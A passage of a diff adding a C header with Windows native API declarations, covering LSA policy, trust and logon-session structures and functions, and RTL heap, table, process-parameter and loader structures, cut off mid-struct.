+#endif + +} LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; + +typedef struct _LSA_FOREST_TRUST_RECORD { + + ULONG Flags; + LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record + LARGE_INTEGER Time; + +#ifdef MIDL_PASS + [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] +#endif + + union { // actual data + +#ifdef MIDL_PASS + [case( ForestTrustTopLevelName, + ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; + [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + [default] LSA_FOREST_TRUST_BINARY_DATA Data; +#else + LSA_UNICODE_STRING TopLevelName; + LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types +#endif + } ForestTrustData; + +} LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent forest trust blobs of large size, number of records must be +// smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO +// + +#define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 +#endif + +typedef struct _LSA_FOREST_TRUST_INFORMATION { + +#ifdef MIDL_PASS + [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; + [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; +#else + ULONG RecordCount; + PLSA_FOREST_TRUST_RECORD * Entries; +#endif + +} LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; + +typedef enum { + + CollisionTdo, + CollisionXref, + CollisionOther + +} LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; + +typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { + + ULONG Index; + LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; + ULONG Flags; + LSA_UNICODE_STRING Name; + +} LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; + +typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { + + ULONG RecordCount; +#ifdef MIDL_PASS + [size_is( RecordCount )] +#endif + PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; + +} LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; + + +// +// LSA Enumeration Context +// + +typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; + +// +// LSA Enumeration Information +// + +typedef struct _LSA_ENUMERATION_INFORMATION { + + PSID Sid; + +} LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; + + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Miscellaneous API function prototypes // +// // +//////////////////////////////////////////////////////////////////////////// + + +NTSTATUS +NTAPI +LsaFreeMemory( + _In_ OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaClose( + _In_ LSA_HANDLE ObjectHandle + ); + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; + +#endif + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (_WIN32_WINNT >= 0x0600) + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + _Out_ PULONG LogonSessionCount, + _Out_ PLUID * LogonSessionList + ); + +NTSTATUS +NTAPI +LsaGetLogonSessionData( + _In_ PLUID LogonId, + _Out_ PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData + ); + +#endif +NTSTATUS +NTAPI +LsaOpenPolicy( + _In_ OPTIONAL PLSA_UNICODE_STRING SystemName, + _In_ PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PLSA_HANDLE PolicyHandle + ); + + +NTSTATUS +NTAPI +LsaQueryInformationPolicy( + _In_ LSA_HANDLE PolicyHandle, + _In_ POLICY_INFORMATION_CLASS InformationClass, + _Out_ PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetInformationPolicy( + _In_ LSA_HANDLE PolicyHandle, + _In_ POLICY_INFORMATION_CLASS InformationClass, + _In_ PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaQueryDomainInformationPolicy( + _In_ LSA_HANDLE PolicyHandle, + _In_ POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + _Out_ PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetDomainInformationPolicy( + _In_ LSA_HANDLE PolicyHandle, + _In_ POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + _In_ OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaRegisterPolicyChangeNotification( + _In_ POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + _In_ HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaUnregisterPolicyChangeNotification( + _In_ POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + _In_ HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomains( + _In_ LSA_HANDLE PolicyHandle, + _In_ _Out_ PLSA_ENUMERATION_HANDLE EnumerationContext, + _Out_ PVOID *Buffer, + _In_ ULONG PreferedMaximumLength, + _Out_ PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaLookupNames( + _In_ LSA_HANDLE PolicyHandle, + _In_ ULONG Count, + _In_ PLSA_UNICODE_STRING Names, + _Out_ PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + _Out_ PLSA_TRANSLATED_SID *Sids + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaLookupNames2( + _In_ LSA_HANDLE PolicyHandle, + _In_ ULONG Flags, // Reserved + _In_ ULONG Count, + _In_ PLSA_UNICODE_STRING Names, + _Out_ PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + _Out_ PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +NTAPI +LsaLookupSids( + _In_ LSA_HANDLE PolicyHandle, + _In_ ULONG Count, + _In_ PSID *Sids, + _Out_ PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + _Out_ PLSA_TRANSLATED_NAME *Names + ); + +#define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") +#define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") +#define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") +#define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") +#define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") +#define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") +#define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") +#define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") +#if (_WIN32_WINNT >= 0x0501) +#define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") +#define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") +#endif + +NTSTATUS +NTAPI +LsaEnumerateAccountsWithUserRight( + _In_ LSA_HANDLE PolicyHandle, + _In_ OPTIONAL PLSA_UNICODE_STRING UserRight, + _Out_ PVOID *Buffer, + _Out_ PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaEnumerateAccountRights( + _In_ LSA_HANDLE PolicyHandle, + _In_ PSID AccountSid, + _Out_ PLSA_UNICODE_STRING *UserRights, + _Out_ PULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaAddAccountRights( + _In_ LSA_HANDLE PolicyHandle, + _In_ PSID AccountSid, + _In_ PLSA_UNICODE_STRING UserRights, + _In_ ULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaRemoveAccountRights( + _In_ LSA_HANDLE PolicyHandle, + _In_ PSID AccountSid, + _In_ BOOLEAN AllRights, + _In_ LSA_UNICODE_STRING UserRights, + _In_ ULONG CountOfRights + ); + +/////////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Trusted Domain Object API function prototypes // +// // +/////////////////////////////////////////////////////////////////////////////// + +NTSTATUS +NTAPI +LsaOpenTrustedDomainByName( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING TrustedDomainName, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PLSA_HANDLE TrustedDomainHandle + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfo( + _In_ LSA_HANDLE PolicyHandle, + _In_ PSID TrustedDomainSid, + _In_ TRUSTED_INFORMATION_CLASS InformationClass, + _Out_ PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInformation( + _In_ LSA_HANDLE PolicyHandle, + _In_ PSID TrustedDomainSid, + _In_ TRUSTED_INFORMATION_CLASS InformationClass, + _In_ PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaDeleteTrustedDomain( + _In_ LSA_HANDLE PolicyHandle, + _In_ PSID TrustedDomainSid + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfoByName( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING TrustedDomainName, + _In_ TRUSTED_INFORMATION_CLASS InformationClass, + _Out_ PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInfoByName( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING TrustedDomainName, + _In_ TRUSTED_INFORMATION_CLASS InformationClass, + _In_ PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomainsEx( + _In_ LSA_HANDLE PolicyHandle, + _In_ _Out_ PLSA_ENUMERATION_HANDLE EnumerationContext, + _Out_ PVOID *Buffer, + _In_ ULONG PreferedMaximumLength, + _Out_ PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaCreateTrustedDomainEx( + _In_ LSA_HANDLE PolicyHandle, + _In_ PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, + _In_ PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PLSA_HANDLE TrustedDomainHandle + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaQueryForestTrustInformation( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING TrustedDomainName, + _Out_ PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo + ); + +NTSTATUS +NTAPI +LsaSetForestTrustInformation( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING TrustedDomainName, + _In_ PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, + _In_ BOOLEAN CheckOnly, + _Out_ PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo + ); + +// #define TESTING_MATCHING_ROUTINE +#ifdef TESTING_MATCHING_ROUTINE + +NTSTATUS +NTAPI +LsaForestTrustFindMatch( + _In_ LSA_HANDLE PolicyHandle, + _In_ ULONG Type, + _In_ PLSA_UNICODE_STRING Name, + _Out_ PLSA_UNICODE_STRING * Match + ); + +#endif +#endif + +// +// This API sets the workstation password (equivalent of setting/getting +// the SSI_SECRET_NAME secret) +// + +NTSTATUS +NTAPI +LsaStorePrivateData( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING KeyName, + _In_ OPTIONAL PLSA_UNICODE_STRING PrivateData + ); + +NTSTATUS +NTAPI +LsaRetrievePrivateData( + _In_ LSA_HANDLE PolicyHandle, + _In_ PLSA_UNICODE_STRING KeyName, + _Out_ PLSA_UNICODE_STRING * PrivateData + ); + + +ULONG +NTAPI +LsaNtStatusToWinError( + _In_ NTSTATUS Status + ); + +#endif // _NTLSA_IFS_ +// 04.06.2011 - end + +// +// Driver entry management APIs. +// + +typedef struct _EFI_DRIVER_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH DriverFilePath; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +typedef struct _EFI_DRIVER_ENTRY_LIST { + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +#define EFI_DRIVER_ENTRY_VERSION 1 +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_STACK_CONTEXT_ENTRY { + ULONG_PTR Address; // stack address + ULONG_PTR Data; // stack contents +} RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; + +typedef struct _RTL_STACK_CONTEXT { + ULONG NumberOfEntries; + RTL_STACK_CONTEXT_ENTRY Entry[1]; +} RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; + +typedef NTSTATUS + (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + _In_ PVOID Base, + _In_ _Out_ PVOID *CommitAddress, + _In_ _Out_ PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +struct _RTL_AVL_TABLE; + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; + +typedef enum _TABLE_SEARCH_RESULT +{ + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS +{ + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +struct _RTL_AVL_TABLE; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + IN PVOID Buffer + ); + +typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ PVOID UserData, + _In_ PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + ULONG ByteSize + ); + + +typedef + NTSTATUS + (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( + struct _RTL_AVL_TABLE *Table, + PVOID UserData, + PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef + VOID + (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + +typedef struct _RTL_BALANCED_LINKS +{ + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE +{ + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; + +typedef struct _GENERATE_NAME_CONTEXT { + + USHORT Checksum; + BOOLEAN ChecksumInserted; + + UCHAR NameLength; // not including extension + WCHAR NameBuffer[8]; // e.g., "ntoskrnl" + + ULONG ExtensionLength; // including dot + WCHAR ExtensionBuffer[4]; // e.g., ".exe" + + ULONG LastIndexValue; + +} GENERATE_NAME_CONTEXT; +typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE *PPREFIX_TABLE; + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt + +typedef struct _COMPRESSED_DATA_INFO { + + USHORT CompressionFormatAndEngine; + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + USHORT NumberOfChunks; + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + UCHAR Alignment[4]; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + BOOLEAN ComPlusNativeReady : 1; + BOOLEAN ComPlusILOnly : 1; + BOOLEAN ImageDynamicallyRelocated : 1; + BOOLEAN ImageMappedFlat : 1; + BOOLEAN Reserved : 4; + }; + }; + + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[ 1 ]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; + UCHAR Padding[4]; + PULONG Buffer; +} RTL_BITMAP; +typedef RTL_BITMAP *PRTL_BITMAP; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +#define RTL_RANGE_SHARED 0x01 +#define RTL_RANGE_CONFLICT 0x02 + +typedef struct _RTL_RANGE_LIST { + LIST_ENTRY ListHead; + ULONG Flags; // use RANGE_LIST_FLAG_* + ULONG Count; + ULONG Stamp; +} RTL_RANGE_LIST, *PRTL_RANGE_LIST; + +typedef enum { + RtlBsdItemVersionNumber = 0x00, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; + +typedef struct _RANGE_LIST_ITERATOR { + PLIST_ENTRY RangeListHead; + PLIST_ENTRY MergedHead; + PVOID Current; + ULONG Stamp; +} RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; + +typedef struct _STARTUP_ARGUMENT +{ + //ULONG Unknown[ 3 ]; + UNICODE_STRING Unknown[ 3 ]; + PRTL_USER_PROCESS_PARAMETERS Environment; +} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +#define RTL_TRACE_IN_USER_MODE 0x00000001 +#define RTL_TRACE_IN_KERNEL_MODE 0x00000002 +#define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 +#define RTL_TRACE_USE_PAGED_POOL 0x00000008 + +typedef struct _RTL_RESOURCE { + + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + ULONG NumberOfWaitingExclusive; + + LONG NumberOfActive; + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, *PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) + +typedef struct _RTL_TRACE_BLOCK { + ULONG Magic; + ULONG Count; + ULONG Size; + + SIZE_T UserCount; + SIZE_T UserSize; + PVOID UserContext; + + struct _RTL_TRACE_BLOCK * Next; + PVOID * Trace; +} RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; + +typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); +typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; + +typedef struct _RTL_TRACE_ENUMERATE { + PRTL_TRACE_DATABASE Database; + ULONG Index; + PRTL_TRACE_BLOCK Block; +} RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT __Unused5; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID PatchInformation; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +#pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) + +typedef struct _DISPATCHER_HEADER +{ + union + { + struct + { + UCHAR Type; + union + { + UCHAR Absolute; + UCHAR NpxIrql; + }; + + union + { + 